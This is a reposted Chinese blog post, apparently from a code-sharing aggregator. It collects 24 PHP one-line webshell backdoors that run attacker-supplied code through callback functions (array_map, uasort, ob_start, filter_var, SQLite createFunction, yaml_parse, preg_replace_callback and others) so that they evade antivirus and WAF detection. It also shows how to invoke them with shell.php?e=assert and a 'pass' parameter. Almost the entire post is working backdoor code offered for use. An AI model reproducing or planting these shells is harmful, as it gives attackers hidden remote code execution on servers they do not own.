一些无特征PHP一句话
来源:互联网 发布:mac桌面上的文件不见了 编辑:程序博客网 时间:2024/05/17 06:32
不需要动态函数、不用eval、不含敏感函数、免杀免拦截的一句话。(少部分一句话需要php5.4.8+、或sqlite/pdo/yaml/memcached扩展等)
原理:https://www.leavesongs.com/PENETRATION/php-callback-backdoor.html
所有一句话使用方法基本都是:
http:// target/shell.php?e=assert 密码pass
01
$e = $_REQUEST['e'];02
$arr = array($_POST['pass'],);
array_filter($arr, $e);
$e = $_REQUEST['e'];03
$arr = array($_POST['pass'],);
array_map($e, $arr);
$e = $_REQUEST['e'];04
$arr = array('test', $_REQUEST['pass']);
uasort($arr, $e);
$e = $_REQUEST['e'];05
$arr = array('test' => 1, $_REQUEST['pass'] => 2);
uksort($arr, $e);
$arr = new ArrayObject(array('test', $_REQUEST['pass']));06
$arr->uasort('assert');
$arr = new ArrayObject(array('test' => 1, $_REQUEST['pass'] => 2));07
$arr->uksort('assert');
$e = $_REQUEST['e'];08
$arr = array(1);
array_reduce($arr, $e, $_POST['pass']);
$e = $_REQUEST['e'];09
$arr = array($_POST['pass']);
$arr2 = array(1);
array_udiff($arr, $arr2, $e);
$e = $_REQUEST['e'];10
$arr = array($_POST['pass'] => '|.*|e',);
array_walk($arr, $e, '');
$e = $_REQUEST['e'];11
$arr = array($_POST['pass'] => '|.*|e',);
array_walk_recursive($arr, $e, '');
mb_ereg_replace('.*', $_REQUEST['pass'], '', 'e');12
echo preg_filter('|.*|e', $_REQUEST['pass'], '');13
ob_start('assert');14
echo $_REQUEST['pass'];
ob_end_flush();
$e = $_REQUEST['e'];15
register_shutdown_function($e, $_REQUEST['pass']);
$e = $_REQUEST['e'];16
declare(ticks=1);
register_tick_function($e, $_REQUEST['pass']);
filter_var($_REQUEST['pass'], FILTER_CALLBACK, array('options' => 'assert'));17
filter_var_array(array('test' => $_REQUEST['pass']), array('test' => array('filter' => FILTER_CALLBACK, 'options' => 'assert')));18
$e = $_REQUEST['e'];19
$db = new PDO('sqlite:sqlite.db3');
$db->sqliteCreateFunction('myfunc', $e, 1);
$sth = $db->prepare("SELECT myfunc(:exec)");
$sth->execute(array(':exec' => $_REQUEST['pass']));
$e = $_REQUEST['e'];20
$db = new SQLite3('sqlite.db3');
$db->createFunction('myfunc', $e);
$stmt = $db->prepare("SELECT myfunc(?)");
$stmt->bindValue(1, $_REQUEST['pass'], SQLITE3_TEXT);
$stmt->execute();
$str = urlencode($_REQUEST['pass']);21
$yaml = <<<EOD
greeting: !{$str} "|.+|e"
EOD;
$parsed = yaml_parse($yaml, 0, $cnt, array("!{$_REQUEST['pass']}" => 'preg_replace'));
$mem = new Memcache();22
$re = $mem->addServer('localhost', 11211, TRUE, 100, 0, -1, TRUE, create_function('$a,$b,$c,$d,$e', 'return assert($a);'));
$mem->connect($_REQUEST['pass'], 11211, 0);
preg_replace_callback('/.+/i', create_function('$arr', 'return assert($arr[0]);'), $_REQUEST['pass']);23
mb_ereg_replace_callback('.+', create_function('$arr', 'return assert($arr[0]);'), $_REQUEST['pass']);24
$iterator = new CallbackFilterIterator(new ArrayIterator(array($_REQUEST['pass'],)), create_function('$a', 'assert($a);'));
foreach ($iterator as $item) {echo $item;}
0 0
- 一些无特征PHP一句话
- 分享一些无特征PHP一句话-20150719
- 一句话备忘PHP
- PHP执行命令一句话
- php一句话免杀
- php变异一句话
- 最新php一句话
- PHP一句话后门
- 关于php一句话木马
- 常用一句话PHP
- php一句话后门分析
- 关于PHP一句话木马
- PHP一句话木马
- php的一句话木马
- php 一句话木马、后门
- 无监督特征学习
- shell的一些一句话东西
- php回调后门,php过WAF一句话,php最新一句话,php过狗一句话.
- JSP之Model1
- TreeSet、TreeMap、HashSet、HashMap底层实现
- ci高级用法篇之扩展核心类
- 冲绳中文离线地图App上线
- Spark源码调试分析(一)-------------调试环境准备
- 一些无特征PHP一句话
- c++ primer 学习笔记-第二章
- union
- eclipse修改编辑字体大小
- hdoj 1005 NUMBER Sequence
- wpf 如何将命名空间导入 XAML
- 小樽中文离线地图App上线
- Android中AlertDialog的简单使用
- C语言,猜字游戏